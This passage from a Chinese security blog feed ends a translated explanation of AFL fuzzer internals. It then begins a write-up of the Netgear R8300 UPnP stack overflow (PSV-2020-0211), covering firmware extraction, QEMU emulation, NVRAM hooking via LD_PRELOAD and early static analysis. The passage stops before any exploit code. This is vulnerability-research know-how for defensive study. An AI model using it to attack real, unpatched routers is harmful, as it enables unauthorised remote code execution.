<p > fuzzing的步骤名义上来说是盲目的(nominally blind),只被输入队列的进化方式的设计所影响(<strong > 见第三部分</strong> )。</p>
<p > 这意味着,这条规则有一个例外:<br > 当一个新的队列条目, 经过初始的确定性fuzzing步骤集合时, 并且文件的部分区域被观测到对执行路径的校验和没有影响, 这些队列条目在接下来的确定性fuzzing阶段可能会被排除。<br > 尤其是对那些冗长的数据格式, 这可以在保持覆盖率不变的情况下, 减少10-40%的执行次数。在一些极端情况下, 比如一些block-aligned的tar文件, 这个数字可以达到90%。</p>
<h2 id= "7-字典-Dictionaries" > <a href= "#7-字典-Dictionaries" class= "headerlink" title= "7) 字典(Dictionaries)" > </a> 7) 字典(Dictionaries)</h2> <p > 插桩提供的反馈能够让它自动地识别出一些输入文件中的语法(syntax)符号(tokens),并且能够为测试器(tested parser)检测到一些组合,这些组合是由预定义(predefined)的或自动检测到的(auto-detected)字典项(dictionary terms)构成的合法语法(valid grammar)。<br > 关于这些特点在afl-fuzz是如何实现的, 可以看一下这个链接: <br > <a href= "http://lcamtuf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html" target= "_blank" rel= "noopener" > afl-fuzz-making-up-grammar-with</a> <br > 大体上,当基本的(basic, typically easily-obtained)句法(syntax)符号(tokens)以纯粹随机的方式组合在一起时,<strong > 插桩</strong> 和<strong > 队列进化</strong> 这两种方法共同提供了一种反馈机制,这种反馈机制能够区分无意义的变异和在插桩代码中触发新行为的变异。这样能增量地构建更复杂的句法(syntax)。<br > 这样构建的字典能够让fuzzer快速地重构非常详细(highly verbose)且复杂的(complex)语法, 比如JavaScript, SQL,XML。一些生成SQL语句的例子已经在之前提到的博客中给出了。<br > 有趣的是, AFL的插桩也允许fuzzer自动地隔离(isolate)已经在输入文件中出现过的句法(syntax)符号(tokens)。</p>
<h2 id= "8-崩溃去重( De-duping-crashes) " > <a href= "#8-崩溃去重( De-duping-crashes) " class= "headerlink" title= "8) 崩溃去重( De-duping crashes) " > </a> 8) 崩溃去重( De-duping crashes) </h2> <p > 崩溃去重是fuzzing工具里很重要的问题之一。很多naive的解决方式都会有这样的问题: 如果这个错误发生在一个普通的库函数中(如say, strcmp, strcpy),只关注出错地址(faulting address)的话,那么可能导致一些完全不相关的问题被分在一类(clustered together)。如果错误发生在一些不同的、可能递归的代码路径中,那么校验和(checksumming)调用栈回溯(call stack backtraces)时可能导致crash count inflation(通胀)。</p>
<p > afl-fuzz的解决方案认为满足一下两个条件, 那么这个crash就是唯一的(unique): <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > - The crash trace includes a tuple not seen in any of the previous crashes,这个crash的路径包括一个之前crash从未见到过的tuple。</span> <br > <span class= "line" > - The crash trace is missing a tuple that was always present in earlier faults.这个crash的路径不包含一个总在之前crash中出现的tuple。</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 这种方式一开始容易受到count inflation的影响, 但实验表明其有很强的自我限制效果。和执行路径分析一样, 这种 <strong > 崩溃去重</strong> 的方式是afl-fuzz的基石(cornerstone)。</p>
<h2 id= "9-崩溃调查-Investigating-crashes" > <a href= "#9-崩溃调查-Investigating-crashes" class= "headerlink" title= "9) 崩溃调查(Investigating crashes)" > </a> 9) 崩溃调查(Investigating crashes)</h2> <p > 不同的crash的可用性(exploitability)是不同的。afl-fuzz提供一个crash的探索模式(exploration mode)来解决这个问题。<br > 对一个已知的出错测试用例, 它被fuzz的方式和正常fuzz的操作没什么不同, 但是有一个限制能让任何non-crashing 的变异(mutations)会被丢弃(thrown away)。<br > 这种方法的意义在以下链接中会进一步讨论:<br > <a href= "http://lcamtuf.blogspot.com/2014/11/afl-fuzz-crash-exploration-mode.html" target= "_blank" rel= "noopener" > afl-fuzz-crash-exploration-mode</a> <br > 这种方法利用<strong > instrumentation的反馈</strong> , 探索crash程序的状态, 从而进一步通过歧义性的失败条件, 找到了最新发现的input。<br > 对于crashes来说, 值得注意的是和正常的队列条目对比, 导致crash的input没有被去掉, 为了和它们的父条目( 队列中没有导致crash的条目) 对比, 它们被保存下来, <br > 这就是说afl-tmin可以被用来随意缩减它们。</p>
<h2 id= "10-The-fork-server" > <a href= "#10-The-fork-server" class= "headerlink" title= "10) The fork server" > </a> 10) The fork server</h2> <p > 为了提升性能, afl-fuzz使用了一个”fork server”, fuzz的进程只进行一次execve(), 连接(linking), 库初始化(libc initialization)。fuzz进程通过copy-on-write(写时拷贝技术)从已停止的fuzz进程中clone下来。实现细节在以下链接中: <br > <a href= "http://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html" target= "_blank" rel= "noopener" > fuzzing-binaries-without-execve</a> <br > fork server被集成在了instrumentation的程序下, 在第一个instrument函数执行时, fork server就停止并等待afl-fuzz的命令。<br > 对于需要快速发包的测试, fork server可以提升1.5到2倍的性能。</p>
<h2 id= "11-并行机制" > <a href= "#11-并行机制" class= "headerlink" title= "11) 并行机制" > </a> 11) 并行机制</h2> <p > 实现并行的机制是, 定期检查不同cpu core或不同机器产生的队列, 然后有选择性的把队列中的条目放到test cases中。<br > 详见: parallel_fuzzing.txt.</p>
<h2 id= "12) 二进制instrumentation" > <a href= "#12) 二进制instrumentation" class= "headerlink" title= "12) 二进制instrumentation" > </a> 12) 二进制instrumentation</h2> <p > AFL-Fuzz对二进制黑盒目标程序的instrumentation是通过<strong > QEMU</strong> 的“user emulation”模式实现的。<br > 这样我们就可以允许跨架构的运行, 比如ARM binaries运行在X86的架构上。<br > QEMU使用basic blocks作为翻译单元, 利用QEMU做instrumentation, 再使用一个和编译期instrumentation类似的<strong > guided fuzz</strong> 的模型。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > if (block_address > elf_text_start & & block_address < elf_text_end) { </span> <br > <span class= "line" > </span> <br > <span class= "line" > cur_location = (block_address > > 4) ^ (block_address < < 8);</span> <br > <span class= "line" > shared_mem[cur_location ^ prev_location]++;</span> <br > <span class= "line" > prev_location = cur_location > > 1;</span> <br > <span class= "line" > </span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 像QEMU, DynamoRIO, and PIN这样的二进制翻译器, 启动是很慢的。QEMU mode同样使用了一个fork server, 和编译期一样, 通过把一个已经初始化好的进程镜像, 直接拷贝到新的进程中。<br > 当然第一次翻译一个新的basic block还是有必要的延迟, 为了解决这个问题AFL fork server在emulator和父进程之间提供了一个频道。这个频道用来通知父进程新添加的blocks的地址, 之后吧这些blocks放到一个缓存中, 以便直接复制到将来的子进程中。这样优化之后, QEMU模式对目标程序造成2-5倍的减速, 相比之下, PIN造成100倍以上的减速。</p>
<h2 id= "13) afl-analyze工具" > <a href= "#13) afl-analyze工具" class= "headerlink" title= "13) afl-analyze工具" > </a> 13) afl-analyze工具</h2> <p > 文件格式分析器是最小化算法的简单扩展<br > 前面讨论过; 该工具执行一系列步行字节翻转,然后在输入文件中注释字节运行,而不是尝试删除无操作块。</p>
]]></content>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 二进制</category>
2020-10-21 10:25:01 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > AFL</tag>
<tag > 模糊测试</tag>
</tags>
</entry>
<entry >
<title > Netgear_栈溢出漏洞_PSV-2020-0211</title>
<url > /2021/01/08/Netgear-psv-2020-0211/</url>
<content > <![CDATA[<p> <strong > 固件模拟与UPnP栈溢出利用</strong> <br > <a href= "https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target= "_blank" rel= "noopener" > https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211</a> <br > <a href= "https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target= "_blank" rel= "noopener" > https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/</a> <br > <a href= "https://paper.seebug.org/1311/#1" target= "_blank" rel= "noopener" > https://paper.seebug.org/1311/#1</a> <br > <a href= "https://www.anquanke.com/post/id/217606" target= "_blank" rel= "noopener" > https://www.anquanke.com/post/id/217606</a> </p>
<h2 id= "0x00-漏洞概要" > <a href= "#0x00-漏洞概要" class= "headerlink" title= "0x00 漏洞概要" > </a> <strong > 0x00 漏洞概要</strong> </h2> <table >
<thead >
<tr >
<th > 漏洞编号:</th>
<th > PSV-2020-0211</th>
</tr>
</thead>
<tbody >
<tr >
<td > 披露时间:</td>
<td > <em > 2020 -07-31 — <a href= "https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211" target= "_blank" rel= "noopener" > Netgear 官方发布安全公告</a> </em> 2020-08-18 – <a href= "https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/" target= "_blank" rel= "noopener" > 漏洞公开披露</a> </td>
</tr>
<tr >
<td > 影响厂商:</td>
<td > Netgear</td>
</tr>
<tr >
<td > 漏洞类型:</td>
<td > 栈溢出漏洞</td>
</tr>
<tr >
<td > 漏洞评分( CVSS) : </td>
<td > 9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)</td>
</tr>
<tr >
<td > 利用条件:</td>
<td > 该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务, 无需身份验证。</td>
</tr>
<tr >
<td > 漏洞成因:</td>
<td > 该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。</td>
</tr>
</tbody>
</table>
<h2 id= "0x01-威胁范围" > <a href= "#0x01-威胁范围" class= "headerlink" title= "0x01 威胁范围" > </a> <strong > 0x01 威胁范围</strong> </h2> <table >
<thead >
<tr >
<th > 影响范围:</th>
<th > R8300 running firmware versions prior to 1.0.2.134</th>
</tr>
</thead>
<tbody >
<tr >
<td > ZoomEye查询结果: </td>
<td > Netgear R8300共有579台设备暴露在互联网上, 绝大部分分布在美国, 少量设备出现在欧洲</td>
</tr>
<tr >
<td > —</td>
<td > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/1_3.png" a l t > </td>
</tr>
<tr >
<td > </td>
</tr>
</tbody>
</table>
<h2 id= "0x02-Qemu模拟" > <a href= "#0x02-Qemu模拟" class= "headerlink" title= "0x02 Qemu模拟" > </a> 0x02 Qemu模拟</h2> <table >
<thead >
<tr >
<th > 真机调试</th>
<th > 硬件调试接口</th>
<th > uart</th>
</tr>
</thead>
<tbody >
<tr >
<td > 历史RCE</td>
<td > NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞</td>
</tr>
<tr >
<td > 设备后门开启telnet</td>
<td > <a href= "https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500" target= "_blank" rel= "noopener" > Unlocking the Netgear Telnet Console</a> </td>
</tr>
<tr >
<td > 固件篡改植入telnet</td>
<td > </td>
</tr>
<tr >
<td > 固件模拟</td>
<td > QEMU</td>
<td > 现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。</td>
</tr>
<tr >
<td > 树莓派、开发板</td>
<td > 只要 CPU 指令集对的上,就可以跑起来</td>
</tr>
<tr >
<td > firmadyne</td>
<td > 基于qemu定制</td>
</tr>
<tr >
<td > Qemu STM32</td>
<td > </td>
</tr>
<tr >
<td > Avatar</td>
<td > 混合式仿真</td>
</tr>
</tbody>
</table>
<p > <a href= "http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf" target= "_blank" rel= "noopener" > 嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf</a> </p>
<p > 由于没有真机,我们采用了固件模拟的方式来搭建分析环境。<br > 首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 <a href= "http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip" target= "_blank" rel= "noopener" > http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip</a> <br > 使用binwalk对固件中的特征字符串进行识别, 可以看到R8300采用了squashfs文件系统格式</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ binwalk R8300-V1.0.2.130_1.0.99.chk</span> <br > <span class= "line" > </span> <br > <span class= "line" > DECIMAL HEXADECIMAL DESCRIPTION</span> <br > <span class= "line" > --------------------------------------------------------------------------------</span> <br > <span class= "line" > 58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0</span> <br > <span class= "line" > 86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes</span> <br > <span class= "line" > 2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38</span> <br > </pre> </td> </tr> </table> </figure>
<p > 使用 <code > binwalk -Me</code> 提取出 Squashfs 文件系统, 可以看到R8300为ARM v5架构.</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ file usr/sbin/upnpd</span> <br > <span class= "line" > usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped</span> <br > </pre> </td> </tr> </table> </figure>
<h3 id= "firmadyne" > <a href= "#firmadyne" class= "headerlink" title= "firmadyne" > </a> firmadyne</h3> <p > 直接使用firmadyne模拟R8300固件失败, 一是网络接口初始化失败, 二是NVRAM配置存在问题<br > 原因可能是:</p>
<ul >
<li > firmadyne只支持armel、mipseb、 mipsel这三种系统内核, 相比我们熟悉的armel, armhf代表了另一种不兼容的二进制标准。<a href= "https://people.debian.org/~aurel32/qemu/armhf/" target= "_blank" rel= "noopener" > https://people.debian.org/~aurel32/qemu/armhf/</a> </li>
<li > <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083836/netgear/image_28.png" a l t > </p>
</li>
<li > <p > NVRAM库劫持失败, firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数<a href= "https://github.com/firmadyne/libnvram" target= "_blank" rel= "noopener" > https://github.com/firmadyne/libnvram</a> </p>
</li>
</ul>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./fat.py ' Path to R8300 firmware file' </span> <br > <span class= "line" > </span> <br > <span class= "line" > __ _</span> <br > <span class= "line" > / _| | |</span> <br > <span class= "line" > | |_ __ _ | |_</span> <br > <span class= "line" > | _| / _` | | __|</span> <br > <span class= "line" > | | | (_| | | |_</span> <br > <span class= "line" > |_| \__,_| \__|</span> <br > <span class= "line" > </span> <br > <span class= "line" > Welcome to the Firmware Analysis Toolkit - v0.3</span> <br > <span class= "line" > Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation</span> <br > <span class= "line" > By Attify - https://attify.com | @attifyme</span> <br > <span class= "line" > </span> <br > <span class= "line" > [+] Firmware: R8300-V1.0.2.130_1.0.99.chk</span> <br > <span class= "line" > [+] Extracting the firmware...</span> <br > <span class= "line" > [+] Image ID: 1</span> <br > <span class= "line" > [+] Identifying architecture...</span> <br > <span class= "line" > [+] Architecture: armel</span> <br > <span class= "line" > [+] Building QEMU disk image...</span> <br > <span class= "line" > [+] Setting up the network connection, please standby...</span> <br > <span class= "line" > [+] Network interfaces: []</span> <br > <span class= "line" > [+] All set! Press ENTER to run the firmware...</span> <br > <span class= "line" > [+] When running, press Ctrl + A X to terminate qemu</span> <br > <span class= "line" > **[+] Command line: /home/yjy/firmware-analysis-toolkit/firmadyne/scratch/2/run.sh**</span> <br > <span class= "line" > [sudo] password for yjy:</span> <br > <span class= "line" > Starting firmware emulation... use Ctrl-a + x to exit</span> <br > <span class= "line" > [ 0.000000] Booting Linux on physical CPU 0x0</span> <br > <span class= "line" > [ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016</span> <br > <span class= "line" > [ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d</span> <br > <span class= "line" > [ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache</span> <br > <span class= "line" > [ 0.000000] Machine model: linux,dummy-virt</span> <br > <span class= "line" > [ 0.000000] debug: ignoring loglevel setting.</span> <br > <span class= "line" > [ 0.000000] Memory policy: Data cache writeback</span> <br > <span class= "line" > [ 0.000000] On node 0 totalpages: 65536</span> <br > <span class= "line" > [ 0.000000] free_area_init_node: node 0, pgdat c061dfe8, node_mem_map cfdf9000</span> <br > <span class= "line" > [ 0.000000] Normal zone: 512 pages used for memmap</span> <br > <span class= "line" > [ 0.000000] Normal zone: 0 pages reserved</span> <br > <span class= "line" > [ 0.000000] Normal zone: 65536 pages, LIFO batch:15</span> <br > <span class= "line" > [ 0.000000] CPU: All CPU(s) started in SVC mode.</span> <br > <span class= "line" > [ 0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768</span> <br > <span class= "line" > [ 0.000000] pcpu-alloc: [0] 0</span> <br > <span class= "line" > [ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65024</span> <br > <span class= "line" > [ 0.000000] Kernel command line: root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0</span> <br > <span class= "line" > [ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)</span> <br > <span class= "line" > [ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)</span> <br > <span class= "line" > [ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)</span> <br > <span class= "line" > [ 0.000000] Memory: 253344K/262144K available (4297K kernel code, 170K rwdata, 1584K rodata, 180K init, 148K bss, 8800K reserved, 0K cma-reserved)</span> <
<h3 id= "Qemu自定义" > <a href= "#Qemu自定义" class= "headerlink" title= "Qemu自定义" > </a> Qemu自定义</h3> <ol >
<li > <strong > 配置arm虚拟机</strong> </li>
</ol>
<p > 使用Qemu模拟固件需要下载对应的arm虚拟机镜像, 内核和initrd。<br > <a href= "https://people.debian.org/~aurel32/qemu/armhf/" target= "_blank" rel= "noopener" > https://people.debian.org/~aurel32/qemu/armhf/</a> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > [debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M </span> <br > <span class= "line" > [initrd.img-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress) 2013-12-17 01:57 2.2M </span> <br > <span class= "line" > [vmlinuz-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress) 2013-09-20 18:33 1.9M</span> <br > </pre> </td> </tr> </table> </figure>
<p > 标准的虚拟机启动命令为</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append " root=/dev/mmcblk0p2" </span> <br > <span class= "line" > - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append " root=/dev/mmcblk0p2" </span> <br > </pre> </td> </tr> </table> </figure>
<p > 对于R8300固件, 在 Host 机上创建一个 tap 接口并分配 IP, 启动虚拟机: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > `sudo tunctl -t tap0 -u `whoami`</span> <br > <span class= "line" > sudo ifconfig tap0 192.168.2.1/24</span> <br > <span class= "line" > qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append " root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`</span> <br > </pre> </td> </tr> </table> </figure>
<p > 与标准命令区别在于<code > -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic</code> <br > 启动之后输入用户名和密码,都是 root, 为虚拟机分配 IP: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > `root@debian-armhf:~# ifconfig eth0 ``192.168``.``2.2``/``24`</span> <br > </pre> </td> </tr> </table> </figure>
<p > 这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev, 最后 chroot 即可。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > `root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc</span> <br > <span class= "line" > root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev</span> <br > <span class= "line" > root@debian-armhf:~# chroot ./squashfs-root/ sh`</span> <br > </pre> </td> </tr> </table> </figure>
<ol >
<li > <strong > 修复依赖</strong> </li>
</ol>
<p > NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 <code > LD_PRELOAD</code> 劫持以下函数符号。手动创建 <code > /tmp/var/run</code> 目录,再次运行提示缺少 <code > /dev/nvram</code> 。</p>
<ul >
<li > <p > 编译nvram.so</p>
<p > <a href= "https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c" target= "_blank" rel= "noopener" > https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c</a> </p>
</li>
</ul>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so</span> <br > </pre> </td> </tr> </table> </figure>
<ul >
<li > 劫持<code > dlsym</code> </li>
</ul>
<p > nvram库的实现者还同时 hook 了 <code > system</code> 、<code > fopen</code> 、<code > open</code> 等函数,因此还会用到 <code > dlsym</code> , <code > /lib/libdl.so.0</code> 导出了该符号。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > `$ grep ``-``r ``" dlsym" `` ``.`</span> <br > <span class= "line" > `Binary`` file ``./``lib``/``libcrypto``.``so``.``1.0``.``0`` matches`</span> <br > <span class= "line" > `Binary`` file ``./``lib``/``libdl``.``so``.``0`` matches`</span> <br > <span class= "line" > `Binary`` file ``./``lib``/``libhcrypto``-``samba4``.``so``.``5`` matches`</span> <br > <span class= "line" > `Binary`` file ``./``lib``/``libkrb5``-``samba4``.``so``.``26`` matches`</span> <br > <span class= "line" > `Binary`` file ``./``lib``/``libldb``.``so``.``1`` matches`</span> <br > <span class= "line" > `Binary`` file ``./``lib``/``libsamba``-``modules``-``samba4``.``so matches`</span> <br > <span class= "line" > `Binary`` file ``./``lib``/``libsqlite3``.``so``.``0`` matches`</span> <br > <span class= "line" > `grep``:`` ``./``lib``/``modules``/``2.6``.``36.4brcmarm``+:`` ``No`` such file ``or`` directory`</span> <br > <span class= "line" > </span> <br > <span class= "line" > $ `readelf ``-``a `**`./``lib``/``libdl``.``so``.`**`**0**`` ``|`` grep dlsym`</span> <br > <span class= "line" > ` ``26``:`` ``000010f0`` ``296`` FUNC GLOBAL DEFAULT ``7`` dlsym`</span> <br > </pre> </td> </tr> </table> </figure>
<ul >
<li > 配置tmp/nvram.ini信息</li>
</ul>
<p > 接下来要做的就是根据上面的日志补全配置信息,也可以参考<a href= "https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置, 可以查看对应的汇编代码逻辑( 配置的有问题的话很容易触发段错误) 。" target= "_blank" rel= "noopener" > https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置, 可以查看对应的汇编代码逻辑( 配置的有问题的话很容易触发段错误) 。</a> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > `upnpd_debug_level=9</span> <br > <span class= "line" > lan_ipaddr=192.168.2.2</span> <br > <span class= "line" > hwver=R8500</span> <br > <span class= "line" > friendly_name=R8300</span> <br > <span class= "line" > upnp_enable=1</span> <br > <span class= "line" > upnp_turn_on=1</span> <br > <span class= "line" > upnp_advert_period=30</span> <br > <span class= "line" > upnp_advert_ttl=4</span> <br > <span class= "line" > upnp_portmap_entry=1</span> <br > <span class= "line" > upnp_duration=3600</span> <br > <span class= "line" > upnp_DHCPServerConfigurable=1</span> <br > <span class= "line" > wps_is_upnp=0</span> <br > <span class= "line" > upnp_sa_uuid=00000000000000000000</span> <br > <span class= "line" > lan_hwaddr=AA:BB:CC:DD:EE:FF`</span> <br > </pre> </td> </tr> </table> </figure>
<ul >
<li > 运行过程</li>
</ul>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > **# ./usr/sbin/upnpd**</span> <br > <span class= "line" > # /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > /dev/nvram: No such file or directory</span> <br > <span class= "line" > </span> <br > <span class= "line" > **# LD_PRELOAD=" ./nvram.so" ./usr/sbin/upnpd**</span> <br > <span class= "line" > # ./usr/sbin/upnpd: can' t resolve symbol ' dlsym' </span> <br > <span class= "line" > </span> <br > <span class= "line" > **# LD_PRELOAD=" ./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd**</span> <br > <span class= "line" > # [0x00026460] fopen(' /var/run/upnpd.pid' , ' wb+' ) = 0x00b19008</span> <br > <span class= "line" > [0x0002648c] custom_nvram initialised</span> <br > <span class= "line" > [0x76eb7cb8] **fopen****(' /tmp/nvram.ini' , ' r' ) = 0x00b19008**</span> <br > <span class= "line" > [nvram 0] upnpd_debug_level = 9</span> <br > <span class= "line" > [nvram 1] lan_ipaddr = 192.168.2.2</span> <br > <span class= "line" > [nvram 2] hwver = R8500</span> <br > <span class= "line" > [nvram 3] friendly_name = R8300</span> <br > <span class= "line" > [nvram 4] upnp_enable = 1</span> <br > <span class= "line" > [nvram 5] upnp_turn_on = 1</span> <br > <span class= "line" > [nvram 6] upnp_advert_period = 30</span> <br > <span class= "line" > [nvram 7] upnp_advert_ttl = 4</span> <br > <span class= "line" > [nvram 8] upnp_portmap_entry = 1</span> <br > <span class= "line" > [nvram 9] upnp_duration = 3600</span> <br > <span class= "line" > [nvram 10] upnp_DHCPServerConfigurable = 1</span> <br > <span class= "line" > [nvram 11] wps_is_upnp = 0</span> <br > <span class= "line" > [nvram 12] upnp_sa_uuid = 00000000000000000000</span> <br > <span class= "line" > [nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF</span> <br > <span class= "line" > [nvram 14] lan_hwaddr =</span> <br > <span class= "line" > Read 15 entries from /tmp/nvram.ini</span> <br > <span class= "line" > acosNvramConfig_get(' upnpd_debug_level' ) = ' 9' </span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "0x03-静态分析" > <a href= "#0x03-静态分析" class= "headerlink" title= "0x03 静态分析" > </a> 0x03 静态分析</h2> <p > 该漏洞的原理是使用strcpy函数不当, 拷贝过长字符导致缓冲区溢出, 那么如何到达溢出位置。<br > 首先upnpd服务在<code > sub_1D020()</code> 中使用<code > recvfrom()</code> 从套接字接收UDP数据包, 并捕获数据发送源的地址。从函数定义可知, upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54</p>
<blockquote >
<p > <strong > recvfrom</strong> recvfrom函数(经socket接收数据):</p>
</blockquote>
<blockquote >
<p > 函数原型:int recvfrom(SOCKET s,void <strong > *buf</strong> ,int <strong > len</strong> ,unsigned int flags, struct sockaddr <em > from,int </em> fromlen);</p>
</blockquote>
<blockquote >
<p > 相关函数 recv, recvmsg, send, sendto, socket</p>
</blockquote>
<blockquote >
<p > 函数说明:<a href= "https://baike.baidu.com/item/recv%28%29" target= "_blank" rel= "noopener" > recv()</a> 用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的<a href= "https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80" target= "_blank" rel= "noopener" > 网络地址</a> ,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.</p>
</blockquote>
